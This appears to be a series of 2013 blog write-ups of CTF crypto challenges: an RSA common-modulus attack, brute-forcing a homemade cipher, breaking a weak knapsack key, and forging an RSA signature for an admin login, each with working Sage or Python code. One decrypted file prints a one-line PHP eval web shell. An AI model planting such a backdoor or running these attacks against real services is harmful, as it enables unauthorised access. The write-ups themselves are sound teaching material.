(e1, n) = (599703852157208324988436697659896404638315905290324375700570316485421693, 108039548283467910018636019706918049787296862983920390620425680109149061265582938100265640505395436176923520902062289606379329490555998996693285930619495040456388113166495283026905991110314710632437395833112529488024010984327573108928719840003018232385552027586272040584786259207191357206321725581066222359269709853312236804681275337051689984480610347322381805920314518020927280061535012383180989715215061621017100281215170089223279840979641688194933238176625422507335413025975742216947757245112001827202742177202602339368271393570814426349)

Cipher text 1
64192679490201084919864109589711225051306895753052452251471181011935890793544442381990900483806859201269602393008215002967277584404244028747557515652983421402831933955031514949051711613799413945375516057965907322753883557356486350981432321137639633448144656731569958858836168965404795837648422955123798171558220417018614361054908596961274183141350877544714255973182298022152382603068819975693640211216195897799698027064327186095742305485491820097943409724898378023689276832524319007493796910829806469346146322827201567159126666629388322479

Public Key 2
(e2, n) = (2021187385200166516022746434619391941987919206967476592818217288363509, 108039548283467910018636019706918049787296862983920390620425680109149061265582938100265640505395436176923520902062289606379329490555998996693285930619495040456388113166495283026905991110314710632437395833112529488024010984327573108928719840003018232385552027586272040584786259207191357206321725581066222359269709853312236804681275337051689984480610347322381805920314518020927280061535012383180989715215061621017100281215170089223279840979641688194933238176625422507335413025975742216947757245112001827202742177202602339368271393570814426349)

Cipher text 2
59479689549560080704719346207028172045832447629676482962810835773815464251268645222410752554301728769639790100177113106905240622051153394111672911715955043318248120741697967901541458159847100613910368380426590912304442624789475183028091060736577136778183984119998489277854012692016578461901960239232919085733417338853775102362931632001858570236887517967863584958729992234586883928904928030598648389127230808653922583812124081813290524003879897252243176409322823308176329788244775196386356286749265723818517581499920415831945106137632995322
We can notice that same value of 'n' is used in both cases and the message is also the same. So we can break this using RSA common modulus attack. This is what the attack says:
[*] e1 and e2 are relatively prime ie. gcd(e1, e2) == 1
[*] By the Extended Euclidean Algorithm, a*e1 + b*e2 == gcd(e1, e2)
[*] Let C1 and C2 be the cipher texts of message m

C1 = m^e1 mod n
C2 = m^e2 mod n 

C1^a * C2^b == (m^e1)^a * (m^e2)^b mod n
C1^a * C2^b == m^(a*e1 + b*e2) mod n
C1^a * C2^b == m mod n

Since a is negative, we compute
(C1^-1)^a * C2^b == m mod n
Ok, now lets use sage to do these computations
sage: e1 = 599703852157208324988436697659896404638315905290324375700570316485421693
sage: e2 = 2021187385200166516022746434619391941987919206967476592818217288363509
sage: n = 108039548283467910018636019706918049787296862983920390620425680109149061265582938100265640505395436176923520902062289606379329490555998996693285930619495040456388113166495283026905991110314710632437395833112529488024010984327573108928719840003018232385552027586272040584786259207191357206321725581066222359269709853312236804681275337051689984480610347322381805920314518020927280061535012383180989715215061621017100281215170089223279840979641688194933238176625422507335413025975742216947757245112001827202742177202602339368271393570814426349
sage: cipher1 = 64192679490201084919864109589711225051306895753052452251471181011935890793544442381990900483806859201269602393008215002967277584404244028747557515652983421402831933955031514949051711613799413945375516057965907322753883557356486350981432321137639633448144656731569958858836168965404795837648422955123798171558220417018614361054908596961274183141350877544714255973182298022152382603068819975693640211216195897799698027064327186095742305485491820097943409724898378023689276832524319007493796910829806469346146322827201567159126666629388322479
sage: cipher2 = 59479689549560080704719346207028172045832447629676482962810835773815464251268645222410752554301728769639790100177113106905240622051153394111672911715955043318248120741697967901541458159847100613910368380426590912304442624789475183028091060736577136778183984119998489277854012692016578461901960239232919085733417338853775102362931632001858570236887517967863584958729992234586883928904928030598648389127230808653922583812124081813290524003879897252243176409322823308176329788244775196386356286749265723818517581499920415831945106137632995322

sage: gcd(e1, e2)  # Relatively prime
1
sage: val = xgcd(e1, e2) # Extended Euclidean Algorithm
sage: val
(1, -3047508293327982779161516622450839163404526801300587435875399397355, 904222179681195587324531859318948099549580203141997568283661184044224)
sage: a = -val[1]
sage: a
3047508293327982779161516622450839163404526801300587435875399397355
sage: b = val[2]
sage: b
904222179681195587324531859318948099549580203141997568283661184044224
sage: cipher1_inv = inverse_mod(cipher1, n) # Multiplicative inverse
sage: cipher1_inv
49882118660580323132467117552276128300614229858832013404741331714334503133649474000400824741560286993474795185146741270220095396126691006446586108884217265900328937680293201118674476028108395000917327921867599979692111002779827647440384347225473157540218799037461665550199440995365907179136646940841772015473789593113023235321359849036424451006123980720306616883939654926239630666201750535887553205856794969495851564203306735787871522626375210178147364523182997655961822887981171722156045438928862532799694071412437194525903453048230129583

sage: c1a = Mod(cipher1_inv, n) ^ a # Square and Multiply algorithm
sage: c1a
41469201017671525980368839429837195396084994817924814990774939845326361705647744310093150006053943147640059339296841399913504561282912441493855262177235335163582510545748763113210275652403002725065333196077070355270576200547613273450470814161561912356462838553050343438059422947380358064075951153983513248335264919975924161127571537532543369398463333064729421949754686699997006195940667044423272156385649336229018660142717513039952955141634801106594451630692732900999746770594155899945113543988204102612492489906092084186526076794329828855
sage: c2b = Mod(cipher2, n) ^ b
sage: c2b
28572464787303927433139480688120103799450333993942770377763568953906568621027391472843696689996459445428095360778023546317751548897270315411496636052798098326232273297351844385991588487531221292119364884784693807035802310520348076486338510106043448492709653411110192210391119474114040490261049642643699360158053381341387211041514755333117982148513726627125367488864516664957365575090594728178808919916448298474482486390692427228381759924160007325779183789864908736476522756356374167807501269961385802206964229596780285088364964068284094380
sage: (c1a * c2b) % n
4561387865153841354984687512687489546516849543684654468465495143548954351686168165161
So the message is:
4561387865153841354984687512687489546516849543684654468465495143548954351686168165161

Using the message as password, open the compressed 7z file. We get the corrections.json file, which reads
{
   "server": "AN4-SEE23",
   "clientid": "1WSS-431222-2334-5666",
   "config": {
       "j-base": "+56.661",
       "values": "12889.557; 1333.127; LW; E21; -12.178"
   }
}
The flag for the challenge is : 12889.557; 1333.127; LW; E21; -12.178

Wednesday, March 13, 2013

Backdoor CTF - Crypto 400

We have access to the code used for encryption function. With this we have to find the plain text value for the given cipher text:
168 232 100 162 135 179 112 100 173 206 106 123 106 195 179 157 123 173
Encryption function:
for ($i = 0; $i<strlen($str); $i++)
   $dec_array[] = ord($str{$i});
$ar = $dec_array;
$max = max($ar);

$key = rand(10,$max);
$key = 101*$key;

for($i=0;$i<strlen($str);$i++){
    $x = $ar[$i];
    $am = ($key+$x)/2;
    $gm = sqrt($key*$x);
    $enc = $am + $gm;
    $encrypt = floor($enc)%255; 
    echo $encrypt.' ';
}
Bruteforce seemed to be the easiest solution for the problem. Here is the approach
[*] Key value is choosen from rand(10,$max), where $max to range from 32 to 127 ie ascii printables. So we can bruteforce key value between 10 to 127
[*] Choose plain text values between 32 to 127 and perform encryption function upto the length of cipher text
[*] Check if any of key value results in count(plain text) == count(cipher text). In that case, the string we got might be the possible plain text

Here is the code to do that:
<?php

$cipher = array(168, 232, 100 ,162, 135, 179, 112, 100, 173, 206, 106, 123, 106, 195, 179, 157, 123, 173);

for($key=10; $key<=127; $key++){
    $plain = array();
    $key_new = $key * 101;
    for($i=0; $i<count($cipher); $i++){  
        for($p=32; $p<=127; $p++){
            $x = $p;
            $am = ($key_new+$x)/2;
            $gm = sqrt($key_new*$x);
            $enc = $am + $gm;
            $encrypt = floor($enc)%255;
            if($encrypt == $cipher[$i])
                array_push($plain,$p);    
        }
    }
    if(count($plain) == count($cipher)){
        $text = '';
        foreach($plain as $t)
            $text = $text.chr($t);
        echo $text."\n";
    }    
}

?>
[ctf@renorobert backdoor]# php sol.php
, f&." -i!W!Wo.*-i
myalgocantbebroken
Running the code we get two plain texts. The real plain text value is myalgocantbebroken

Monday, March 11, 2013

RuCTF 2013 Quals - Crypto 200 - [Team xbios]

Well, this was not the busiest of weekends but still we didn't have much time for the CTF. Here is a small write up on crypto 200 challenge that we solved. A python source code was given which had the key generation and crypt algorithm. Below is the encryption algorithm
def crypt(open_text, public_key):
    bts = []
    [bts.extend([int(b) for b in '00000000'[len(bin(ord(c))[2:]):] + bin(ord(c))[2:]]) for c in open_text]
    return [sum(map(lambda x: x[0] * x[1] ,zip(blk, public_key))) for blk in [bts[i * 128:(i+1) * 128] for i in range(len(open_text) // 16)]] 
Algorithm performs the following operations:

[*] Creates a 8 bitstring of each character in the plain text
[*] Splits the bitsring into blocks of 128 bits
[*] Pair the bitstring list with the 128 element public key list
[*] sum(map(lambda x: x[0] * x[1] ,zip(blk, public_key))) performs multiplication operation on each tuple pair and then adds them together

We were given a cipher text list with 10 elements ie. from the algorithm we can interpret that the plain text is 160 characters, 16 chars per block. Though we understood the code, we failed to recognize the crypto system until our teammate Aghosh figured out that its knapsack public key cryptosystem. First we looked at cryptanalysis of the system, this didn't work out. Later we figured out that the generated public_key is not random and can be used to retrieve the private key.

Key Generation Algorithm:
def generate_public_key(private_key): 
    n = 199285318978668966527551342512997250816637709274749259983292077699440369
    t = 32416190071
    return list(map(lambda x: (t * x) % n, private_key))
This is what we got when analysing the public_key list:
sage: factor(1050809378719198985041)
32416190071^2
sage: factor(2101618757438397970082)
2 * 32416190071^2
sage: factor(6304856272315193910246)
2 * 3 * 32416190071^2
sage: factor(18914568816945581730738)
2 * 3^2 * 32416190071^2
sage: factor(56743706450836745192214)
2 * 3^3 * 32416190071^2
sage: factor(170231119352510235576642)
2 * 3^4 * 32416190071^2
Looks like the private_key is generated based on the given 't' value. This is how we generated the private_key list
private_key = [t]
for i in range(0,127):
    private_key.append(2 * 3**i * t)
The generated private keys can be verified using the given generate_public_key() function. We got a match. Then we wrote the routine for inverse knapsack sum to get the flag. Here is the final code:
#!/usr/bin/env python

import sys

n = 199285318978668966527551342512997250816637709274749259983292077699440369
t = 32416190071
t_inv = 3607086840002694423309872675805192458275553329397325526691156370525160 #sage: inverse_mod(t,n)

private_key = [t]
for i in range(0,127):
    private_key.append(2 * 3**i * t)

cipher_text = [
  1387977778999926469357780220487630125151962348185941993910077394771302677,
  1192236960845781949613172279312582839292898077268409678421304772227241438,
  1295152741157953792099179799985052248167548374589648818528421499250916999,
  828724787424187908000366458781164595076558885463707900320215679908512646,
  1179926879709109047038661681316962368287877340885819899201698611790531134,
  965171312356484716595815857561729919489896088681139239093293829323154838,
  1099367377207651843612375443021502714028353049437532392256489525051038347,
  1374891605015623267623322424512489936836885983493815443812918444687247914,
  1152880248428103510879661300981452627677389745079857275081612568623556291,
  962409003220820525413536841942678826309419979028794415812582008820263317
       ]

def decrypt(cipher, private_key):   # inverse knapsack
    
    bts = ['0']*128                 # generate bit string
    for i in range(len(private_key) - 1, -1, -1): 
        if cipher >= private_key[i]:
            bts[i] = '1'
            cipher = cipher - private_key[i]

    for j in range(0,128,8):        # generate chars out of every 8-bits
        sys.stdout.write(chr(int(''.join(bts[j:j+8]),2)))

for c in cipher_text:               # iterate through 10 blocks
    decrypt((c * t_inv) % n,private_key)
print ''
Running the code, we got the flag: bf145f32d9637c37de3cb5b470b2c44f8e466bc26e06725ac1517006ab70eac23907a37da8715981c7de813dc03f8104381eadf57d50dc4841d7956fffcd22eefe8ec62e9dea680f78d18352b4bb3ec2

Wednesday, January 2, 2013

Hack You Too CTF - Crypto 500 - AllahAkbar

Description:
We were able to intercept a suspicious file. This is an archive of correspondence between leading cryptographers of hostile organization. According to the agents' data, during the conversation one of the respondents accidentally uses a file that is added as trusted to all computers of the organization. Their antivirus software recognizes the files by their md5 hashes. We want our virus to spread easily within their network and we have quantum computers, as well as other useful technologies. You understand the rest.
Let us know the md5 hash of deciphered 'bin' file.
Intelligence data: allahakbar.zip


Encryption Algorithm:
function enc(plaintext){
        key = random() mod (length(plaintext) * 2); 
        ct = [];
        {for c as all characters in pt}
                ct += ascii_code_of_char(c) + (ascii_code_of_char(c) mod key++);
        return ct;
}
Cipher text in 'bin' file:
100 138 138 119 20 126 130 134 118 20 142 118 130 140 120 102 20 145 150 20 110 139 116 157 144 141 20 133 168 2O 166 129 138 135 92 20 120 126 152 135 150 64 126 159 116 137 80 72 108 142 138 168 96 78 130 105 126 119 106 117 128 139 134 190 100 123 100 101 78 186 82 118 94 94 144 130 134 150 138 136 64 132 178 64 130 152 152 130 208 134 164 102 174 20 94 94 140 164 138 138 64 160 130 152 138 166 168 146 156 130 66 66 66 66 66 66 66 66 66 20 126 124
From the encryption algorithm and given cipher text, we can make the following observations:

[*] Key range is 1 to (length(ciphertext) * 2)
[*] If key >= 127 or key > ascii_code_of_char(plain_text), plain_text = (cipher_text)/ 2
[*] Even if key < 127, there is a possibility that key++ operation may result in key > 127 at some point
[*] Cipher text has odd numbers, so key didn't start with value >= 127
[*] 101 at index 67 is the last odd number. So incase if key became >= 127, it should be after this
>>> cipher = [100,138,138,119,20,126,130,134,118,20,142,118,130,140,120,102,20,145,150,20,110,139,116,157,144,141,20,133,168,20,166,129,138,135,92,20,120,126,152,135,150,64,126,159,116,137,80,72,108,142,138,168,96,78,130,105,126,119,106,117,128,139,134,190,100,123,100,101,78,186,82,118,94,94,144,130,134,150,138,136,64,132,178,64,130,152,152,130,208,134,164,102,174,20,94,94,140,164,138,138,64,160,130,152,138,166,168,146,156,130,66,66,66,66,66,66,66,66,66,20,126,124]
 
>>> cipher.index(101)
67
>>> for i in cipher[68:]:
...     plain += chr(i/2)
... 
>>> print plain
']);//HACKED BY ALLAhCR3W
//FREE PALESTINA!!!!!!!!!
?>
As per the observation, we have managed to retrieve the partial plain text and we can say that key should be a value < 60 (127 - 67). Now we can bruteforce to find the possible solution. Here is the code to do that:
#!/usr/bin/env python
# decrypt.py

cipher = [100,138,138,119,20,126,130,134,118,20,142,118,130,140,120,102,20,145,150,20,110,139,116,157,144,141,20,133,168,20,166,129,138,135,92,20,120,126,152,135,150,64,126,159,116,137,80,72,108,142,138,168,96,78,130,105,126,119,106,117,128,139,134,190,100,123,100,101,78,186,82,118,94,94,144,130,134,150,138,136,64,132,178,64,130,152,152,130,208,134,164,102,174,20,94,94,140,164,138,138,64,160,130,152,138,166,168,146,156,130,66,66,66,66,66,66,66,66,66,20,126,124]

def dec(cipher):
    for key in xrange(1,60): # reduced key range
        plain = [[] for x in xrange(len(cipher))]
        for id,c in enumerate(cipher):
            for p in [9,10,13] + range(32,127):  # printables
                if (p + (p % key)) == c:
                    plain[id].append(chr(p))
            key = key + 1
        if [] not in plain:
            print plain

dec(cipher)
[ctf@renorobert allahakbar]# python decrypt.py 
[['C', 'T'], ['h'], ['i', '{'], ['s'], ['\n'], ['f'], ['i', '}'], ['l'], ['P', 'e'], ['\n'], ['s'], ['h'], ['X', 'o'], ['u'], ['T', 'l'], ['d'], ['\n'], ['b'], ['e'], ['\n'], ['R', 'm'], ['a'], ['V', 'r'], ['k'], ['e'], ['d'], ['\n'], ['a'], ['s'], ['\n'], ['s'], ['a'], ['f'], ['e'], ['.', 'P'], ['\n'], ['<', '_'], ['?'], ['p'], ['h'], ['p'], [' '], ['?', 'e'], ['v'], [':', 'a'], ['l'], ['(', 'P'], ['$'], ['6', '_'], ['G'], ['E', 'o'], ['T'], ['0', '['], ["'"], ['A', 'm'], ['a'], ['?', 'l'], ['i'], ['5', 'c'], ['i'], ['@', 'o'], ['u'], ['C', 's'], ['_'], ['2', 'c'], ['o'], ['2', 'd'], ['e'], ["'"], [']'], [')'], [';'], ['/'], ['/'], ['H', '~'], ['A'], ['C', 'z'], ['K'], ['E', '}'], ['D'], [' '], ['B'], ['Y'], [' '], ['A', '|'], ['L'], ['L'], ['A'], ['h'], ['C'], ['R'], ['3'], ['W'], ['\n'], ['/'], ['/'], ['F'], ['R'], ['E'], ['E'], [' '], ['P'], ['A'], ['L'], ['E'], ['S'], ['T'], ['I'], ['N'], ['A'], ['!'], ['!'], ['!'], ['!'], ['!'], ['!'], ['!'], ['!'], ['!'], ['\n'], ['?'], ['>']]
We have the plain text but there are some collisions. Pick the values that makes sense, this is not too hard.
>>> plain = ['T','h','i','s','\n','f','i','l','e','\n','s','h','o','u','l','d','\n','b','e','\n','m','a','r','k','e','d','\n','a','s','\n','s','a','f','e','.','\n','<','?','p','h','p',' ','e','v','a','l','(','$','_','G','E','T','[',"'",'m','a','l','i','c','i','o','u','s','_','c','o','d','e',"'",']',')',';','/','/','H','A','C','K','E','D',' ','B','Y',' ','A','L','L','A','h','C','R','3','W','\n','/','/','F','R','E','E',' ','P','A','L','E','S','T','I','N','A','!','!','!','!','!','!','!','!','!','\n','?','>']
>>> print ''.join(i for i in plain)
This
file
should
be
marked
as
safe.
<?php eval($_GET['malicious_code']);//HACKED BY ALLAhCR3W
//FREE PALESTINA!!!!!!!!!
?>
Write this to a file and find its md5sum. Flag for the challenge is : d191bd74bef3f2ce2c2f0c7f311018c3

Tuesday, January 1, 2013

Hack You Too CTF - Crypto 400 - Uncle Rivest

Description
Uncle Rivest challenges you to a battle and proposes you to steal flag from his secure infrastructure.


We have access to the python source code of the service. We can easily identify it as RSA cryptosystem from the name of the challenge and source code. Below is the important part of code
            cmd = raw_input('[0] Get auth key\n[1] Login\n[2] Exit\n').strip()
            if cmd == '0':
                login = raw_input('Enter your login:\n').strip()
                if re.search('[^a-zA-Z0-9]', login):
                    print 'Bad login'
                    continue
                if login == self.admin:
                    print 'Not for admins!'
                elif len(login) < self.max_login_len:
                    m = self.str_to_hash(login)
                    auth_key = self.binpow(m, self.d, self.n)
                    print 'Your auth key:\n%s' % base64.b64encode(str(auth_key))
                else:
                    print 'Error'
            elif cmd == '1':
                login = raw_input('Login:\n').strip()
                auth_key = raw_input('Auth key:\n').strip()
                try:
                    auth_key = int(base64.b64decode(auth_key))
                except:
                    print 'Error'
                    continue
                c = self.str_to_hash(login)
                if c == self.binpow(auth_key, self.e, self.n):
                    if login == self.admin:
                        flag = open('flag.txt','r').readline().strip()
                        print 'You win!\nFlag is: %s' % flag
                    else:
                        print 'Welcome, %s! You are not admin' % login
                else:
                    print 'Wrong auth key!'
            elif cmd == '2':
                sys.exit(0)
Summary of service:
[*] The service calculates the hash value of login name
[*] Then signs on the hash value as hash(m)^d mod n. This is sent back as authorization key
[*] The service doesn't sign when the login name is 'admin357'
[*] We will get flag if we could forge the signature of 'admin357' and validate ourself as admin

The public exponent e and modulo n value are given. Private exponent d is unknown.
e = 65537
n = 24007134668077839318704239757833363695524302813772795891485519226984107072647247568832064425929097558895623559893945502194926707312564453230806425423424997149843823227221596369795583261387779649714834167992749218150200223683296423069590080742550774828141844004559612066990484264910946488068587829100994639319674561758961812687482393281457478086918858906261630888892035335571465704005412337006332665433676386472229329420439767309647448615375682557274786037161968945400623209502352428011196477777002370787813952767888262642821196216644015950350716009261032012403125915949137853338061422774091806367454086620172463286011
After some googling I came across this paper How Not to Design RSA Signature Schemes. It gave good summary of attacks on RSA system. Page 8 describes The Desmedt and Odlyzko Attack against RSA Signatures that use Hash Function. This is what the attack says

[*] It applies to signatures when messages to sign are relatively small
[*] Factor the message we wish to forge into small primes
[*] Obtain signatures for these small primes [ Sig(m1) and Sig(m2) ]
[*] Produce the signature by multiplying the factors signature [ Sig('admin357') = Sig(m1)) * Sig(m2) mod n ]

This method looked much feasible and relevant for this particular challenge. We do the above steps to get the flag. Using the hash function defined in source code, we find the hash value of 'admin357' as 240021000768277
sage: factor(240021000768277)
2879449 * 83356573
Now we should find the two messages whose hash values are 2879449 and 83356573. For this, write a bruteforcer
#!/usr/bin/env python
# Brute.py

from multiprocessing import Process
import string

charset = map(chr,range(ord('a'),ord('z')+1)+range(ord('A'),ord('Z')+1)+range(ord('0'),ord('9')+1))
p = len(charset)+1
sec_option = string.ascii_letters + string.digits

def find_login(start, end):
    for i in sec_option[start:end]:
       for j in sec_option:
           for k in sec_option:
               for l in sec_option:
                   for m in sec_option:
                       s = i + j + k + l + m
                       res = 0
                       p_pow = 1
                       for ch in s:
                           res = res + (charset.index(ch) + 1) * p_pow
                           p_pow = p_pow * p
                       if res == 83356573:
                           print s
threads = 10
size = len(sec_option)/threads

for i in range(threads):
    if i == threads - 1:
        pro = Process(target=find_login, args=(end, len(sec_option)))
    else:
        start = i*size
        end = (i+1)*size
        pro = Process(target=find_login, args=(start, end))
    pro.start()
hash(HDFk)  == 2879449
hash(m4vre) == 83356573
Now find the signatures of these two messages:
Enter your login:
HDFk
Your auth key:
MjAyMTc3NTc0ODE4MDk3NjI4NTgxNjkyNjU1NTkyNDU2OTczMzc4MTkyMzYzMjQ0MTI2MzQ0MTY2MTE3MDc4NTU1ODI1MjU2OTQyNTg5ODYzNjE3MjQxMTUxMDg2ODk4OTY5OTQ0NjkyMDQ2MDU5MzIwNjYzNjY3MTc4MTYwMTI0MjQ0NzUzMjYzMDAxMzU2ODYwOTMzMDkyNDAxMzQ3MzgwNzIyODk2NzY1MjU5ODYyMTExODUzMzkxNjM5ODE0MjU1MjU5Njk2ODU2ODgyMTcxNDI4NDAzNzA2OTI4NDEwMTg3NDA3MDczODc2NzE0MDQ4NTg0MzI4MjcyMTk3NTQ1OTE0MDEyNzIzMzc3NDYyNTg0MDQ3OTY3ODc3NzY2NzEwMzU2ODc3NTE4ODg5OTU3MjA0NDAyMTQyNzQ2MjkxODM0MDQ1MzczNzE0MDQzMTc2OTQ5ODYzMDc0ODMxNDgyNTc4MjgwNDAxMDgyMjg2MDMyOTMyNzUyNDAxNzczMDUwMDUyNTEzMDEwNDg0MTgzNjExNjY0NzY3MjYwMjMzOTg0Mzc1OTg1MzQyODI5NTc0NTYyNzQxNDk1MDQ0MTgwNjkwNTI4ODk4Njk4NjAxNzc2Mzg0OTcwMjc3MTE1MzY5NDA0Mjc3OTE0MDk1NDA5MDY5MjYyOTQzNTY0MjA4ODI1Njk0OTY0MjIxNjY5MzIxMjYzMTA5NDAwMzM2MzgyMzgxOTY3MDA2OTc2MTY1MDYyOTI5MDc3NTE1OTU5ODg2NDIzODk2MjgzMDYxNzcwMDkzNTA0ODk0OTgyMzk1OTY5ODU5NjA=
###################################

Enter your login:
m4vre
Your auth key:
OTMyMjgxMTI4NTIyOTY2MDc3Mjg3NDY5MDI0MjkwOTEzNDY2NTEyMzkxNDgzMTEzNjQwNDM1NzUxNTY5NzU2MzA5ODU4ODI4MTY2OTY1OTA0MDM4NTQ4OTQ2MDk0NTA1MTM1ODQ5Mjc2OTQ5OTE5ODI5MzY1MDg2MzIwOTI5MTA5Mzg2NjI5ODU4MjY1MDEyNDAyOTY0OTQwNTk4Njc1NTM3NzY0MTcwODYwODc4MzYxMjk4ODg4MzY1NTc5NzkzNjM5MjM2NTUyNzk1NzA0NzgyNzMxMjEzNTc0Nzk1NDA2MjM5OTExMzYxMDM5MTcwNjk3Njc0NzQ5NjUwMjc5NDk3NzY5NjQ5MTE2ODY0MTQ5NzAyMzI0MTc2NjQzMTE0OTI0MDE0OTYyMzA5NDE2MTI0OTI1MTYxNjgwMjc4NTUwNDYzNDc2MTE5NDUwODEyODIzMjY0MjM1MzY3NjY5NjIwODQxNzUyMjI4ODEwMjM3Mzg5NTc3MjY0NzU1NzM2MjY4MDg1NDI4MzM5ODM4OTAyNjc1MTA0ODgxNzU2OTkwOTU5Njc4MDIxNjQ5MDg5MjA5MjI2ODUyMjU4NjUwNjY0NjAzODY5MTAwNzY1Mjk3NjcyNTM1MDU2Mjc0MDAyMDk4NjY5MDE2NTQ3OTg3OTMyOTU2MTExMjcyOTMxMzg5MjYyODE4ODAzODU3NjIzMzM2NjM5MTMzMjAxMTI3MDI5NDc3OTA1NzI4NDUwODQ5ODY0ODM1MTU1NDk5MDQ2MDAyMTc2NjkzOTQxNTQzMDY2NDM1NzI0NjAyMjgxNzkzNzk1NzcwMw==
###################################
sage: HDFk = 20217757481809762858169265559245697337819236324412634416611707855582525694258986361724115108689896994469204605932066366717816012424475326300135686093309240134738072289676525986211185339163981425525969685688217142840370692841018740707387671404858432827219754591401272337746258404796787776671035687751888995720440214274629183404537371404317694986307483148257828040108228603293275240177305005251301048418361166476726023398437598534282957456274149504418069052889869860177638497027711536940427791409540906926294356420882569496422166932126310940033638238196700697616506292907751595988642389628306177009350489498239596985960 
sage: m4vre = 9322811285229660772874690242909134665123914831136404357515697563098588281669659040385489460945051358492769499198293650863209291093866298582650124029649405986755377641708608783612988883655797936392365527957047827312135747954062399113610391706976747496502794977696491168641497023241766431149240149623094161249251616802785504634761194508128232642353676696208417522288102373895772647557362680854283398389026751048817569909596780216490892092268522586506646038691007652976725350562740020986690165479879329561112729313892628188038576233366391332011270294779057284508498648351554990460021766939415430664357246022817937957703
sage: c = HDFk * m4vre
sage: n = 24007134668077839318704239757833363695524302813772795891485519226984107072647247568832064425929097558895623559893945502194926707312564453230806425423424997149843823227221596369795583261387779649714834167992749218150200223683296423069590080742550774828141844004559612066990484264910946488068587829100994639319674561758961812687482393281457478086918858906261630888892035335571465704005412337006332665433676386472229329420439767309647448615375682557274786037161968945400623209502352428011196477777002370787813952767888262642821196216644015950350716009261032012403125915949137853338061422774091806367454086620172463286011
sage: d = c % n
sage: d
13574623912432240044822863812359283234859747054148159494167235793917678319412072444049220920878999004683366385825155698767760556797615066283417123606928385652060060105820138620728285638496912124805566477509535383074533513156122531232065826370773868088087444815382738938881580869082664659745993055583125491761462132535762521732243362070654723892827301858921446245233115836311936507425056946162395221057250160140532999076594373669854001012508803090254776204137540070507399407964736897613474767804984570580214311552244341901130144736560242966070953745838499808795280677707289411139719908808829636035822691459884636879416
sage: import base64
sage: base64.b64encode(str(d))
'MTM1NzQ2MjM5MTI0MzIyNDAwNDQ4MjI4NjM4MTIzNTkyODMyMzQ4NTk3NDcwNTQxNDgxNTk0OTQxNjcyMzU3OTM5MTc2NzgzMTk0MTIwNzI0NDQwNDkyMjA5MjA4Nzg5OTkwMDQ2ODMzNjYzODU4MjUxNTU2OTg3Njc3NjA1NTY3OTc2MTUwNjYyODM0MTcxMjM2MDY5MjgzODU2NTIwNjAwNjAxMDU4MjAxMzg2MjA3MjgyODU2Mzg0OTY5MTIxMjQ4MDU1NjY0Nzc1MDk1MzUzODMwNzQ1MzM1MTMxNTYxMjI1MzEyMzIwNjU4MjYzNzA3NzM4NjgwODgwODc0NDQ4MTUzODI3Mzg5Mzg4ODE1ODA4NjkwODI2NjQ2NTk3NDU5OTMwNTU1ODMxMjU0OTE3NjE0NjIxMzI1MzU3NjI1MjE3MzIyNDMzNjIwNzA2NTQ3MjM4OTI4MjczMDE4NTg5MjE0NDYyNDUyMzMxMTU4MzYzMTE5MzY1MDc0MjUwNTY5NDYxNjIzOTUyMjEwNTcyNTAxNjAxNDA1MzI5OTkwNzY1OTQzNzM2Njk4NTQwMDEwMTI1MDg4MDMwOTAyNTQ3NzYyMDQxMzc1NDAwNzA1MDczOTk0MDc5NjQ3MzY4OTc2MTM0NzQ3Njc4MDQ5ODQ1NzA1ODAyMTQzMTE1NTIyNDQzNDE5MDExMzAxNDQ3MzY1NjAyNDI5NjYwNzA5NTM3NDU4Mzg0OTk4MDg3OTUyODA2Nzc3MDcyODk0MTExMzk3MTk5MDg4MDg4Mjk2MzYwMzU4MjI2OTE0NTk4ODQ2MzY4Nzk0MTY='
Login:
admin357
Auth key:
MTM1NzQ2MjM5MTI0MzIyNDAwNDQ4MjI4NjM4MTIzNTkyODMyMzQ4NTk3NDcwNTQxNDgxNTk0OTQxNjcyMzU3OTM5MTc2NzgzMTk0MTIwNzI0NDQwNDkyMjA5MjA4Nzg5OTkwMDQ2ODMzNjYzODU4MjUxNTU2OTg3Njc3NjA1NTY3OTc2MTUwNjYyODM0MTcxMjM2MDY5MjgzODU2NTIwNjAwNjAxMDU4MjAxMzg2MjA3MjgyODU2Mzg0OTY5MTIxMjQ4MDU1NjY0Nzc1MDk1MzUzODMwNzQ1MzM1MTMxNTYxMjI1MzEyMzIwNjU4MjYzNzA3NzM4NjgwODgwODc0NDQ4MTUzODI3Mzg5Mzg4ODE1ODA4NjkwODI2NjQ2NTk3NDU5OTMwNTU1ODMxMjU0OTE3NjE0NjIxMzI1MzU3NjI1MjE3MzIyNDMzNjIwNzA2NTQ3MjM4OTI4MjczMDE4NTg5MjE0NDYyNDUyMzMxMTU4MzYzMTE5MzY1MDc0MjUwNTY5NDYxNjIzOTUyMjEwNTcyNTAxNjAxNDA1MzI5OTkwNzY1OTQzNzM2Njk4NTQwMDEwMTI1MDg4MDMwOTAyNTQ3NzYyMDQxMzc1NDAwNzA1MDczOTk0MDc5NjQ3MzY4OTc2MTM0NzQ3Njc4MDQ5ODQ1NzA1ODAyMTQzMTE1NTIyNDQzNDE5MDExMzAxNDQ3MzY1NjAyNDI5NjYwNzA5NTM3NDU4Mzg0OTk4MDg3OTUyODA2Nzc3MDcyODk0MTExMzk3MTk5MDg4MDg4Mjk2MzYwMzU4MjI2OTE0NTk4ODQ2MzY4Nzk0MTY=
You win!
Flag is: h0W_did_YoU_hAck_RSA
###################################
[0] Get auth key
[1] Login
[2] Exit
We have successfully forged the signature for 'admin357' and the flag is : h0W_did_YoU_hAck_RSA